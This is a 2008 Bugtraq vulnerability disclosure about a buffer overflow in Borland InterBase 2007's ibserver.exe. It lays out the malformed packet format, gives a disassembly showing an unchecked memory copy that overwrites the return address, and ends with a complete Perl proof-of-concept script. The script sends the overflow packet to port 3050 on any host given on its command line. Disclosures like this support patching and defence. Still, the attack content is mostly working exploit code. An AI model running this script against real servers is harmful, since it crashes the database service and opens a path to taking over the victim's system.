bugtraq - Borland InterBase 2007 "ibserver.exe" Buffer Overflow Vulnerability POC

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <47FF175F.072EA3.08846@m5-83.163.com>
Date: Fri, 11 Apr 2008 15:46:38 +0800
From: "Liu Zhen Hua" <alau@....com>
To: "bugtraq" <bugtraq@...urityfocus.com>
Subject: Borland InterBase 2007 "ibserver.exe" Buffer Overflow Vulnerability POC  

Borland InterBase 2007 "ibserver.exe" Buffer Overflow Vulnerability POC
 
Affected Software:
    Borland InterBase 2007 Service Pack 2.
    ibserver.exe version 8.0.0.123

Severity:
    High

Summary:
    There exists a vulnerability in Borland InterBase 2007.
    The attacker who successfully exploited this vulnerability can gain control of vulnerable systems.

Details:
    There exists a buffer overflow vulnerability in "ibserver.exe" which is contained in Borland InterBase 2007 Service Pack 2.
    
 The vulnerable opcode is 0x52. When sending some malformed data as below to TCP port 3050,
    | 4bytes Opcode  |                  "\x00\x00\x00\x52\"
    | 4bytes Unknow  |                  "\xFF\xFF\xFF\xFF"
    | 4bytes Length1 |                  "\x00\x00\x03\xE8"
    | Data1          |                  "\x41"x1000
    | 4bytes Length2 |                  "\x00\x00\x00\x10"
    | Data2          |                  "\x42"x16
  
 InterBase ibserver service will terminate and reboot. It results in the return address be overwritten as following.
.text:0041460F                 mov     ecx, [ebp+arg_4]
.text:00414612                 xor     edx, edx
.text:00414614                 mov     dx, [ecx]
.text:00414617                 push    edx
.text:00414618                 mov     eax, [ebp+arg_4]
.text:0041461B                 mov     ecx, [eax+4]
.text:0041461E                 push    ecx                          // | Data1 |   "\x41"x1000
.text:0041461F                 mov     edx, [ebp+arg_0]
.text:00414622                 push    edx
.text:00414623                 mov     eax, [ebp+arg_0]
.text:00414626                 mov     ecx, [eax+4]
.text:00414629                 call    dword ptr [ecx+8]            //call function 411136 (strcpy)

.text:00411136                 push    ebp
.text:00411137                 mov     ebp, esp
.text:00411139                 push    ecx
.text:0041113A                 push    esi
.text:0041113B                 push    edi
......
.text:00411157                 mov     ecx, [ebp+loop_count]
.text:0041115A                 mov     eax, [ebp+recv_info_struct]
.text:0041115D                 mov     esi, [eax+0Ch]
.text:00411160                 mov     edi, [ebp+arg_4]
.text:00411163                 mov     edx, ecx
.text:00411165                 shr     ecx, 2
.text:00411168                 rep movsd                     
                                   //copy data 1000 bytes 0x41,without boundary check
                                   //Buffer overflow take place
.text:0041116A                 mov     ecx, edx
.text:0041116C                 and     ecx, 3
.text:0041116F                 rep movsb
    
:stack
    FrameEBP RetEIP  Syms Symbol 
    013AF5EC 41414141  N   ibserver!.text + 00026F68
 
How to Reproduce:
    Run the POC as below:
    poc.pl victimAddress
 
Discovered by:
    Liu Zhen Hua
 
###############################################################################################################
#                                 POC.pl                                                                   #
###############################################################################################################
#!/usr/bin/perl -w
#Author:  Liu Zhen Hua <alau [at] 163.com> 

use IO::Socket;
use strict;
my $host=$ARGV[0];
sub usage {
print "usage: perl poc.pl serverip\n";
}
if ($#ARGV < 0) {
usage();
exit(); 
}
my $victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$host,
                                PeerPort=>3050);
my $pad0 = "\x41"x1000;       #"\x00\x00\x03\xE8"
my $pad5 = "\x43"x16; 
my $exploit = "\x00\x00\x00\x52\xFF\xFF\xFF\xFF\x00\x00\x03\xE8".$pad0."\x00\x00\x00\x10".$pad5;
print $victim $exploit ;
print " + Malicious  request sent ...\n";
sleep(1);
print "Done.\n";
close($victim);
exit;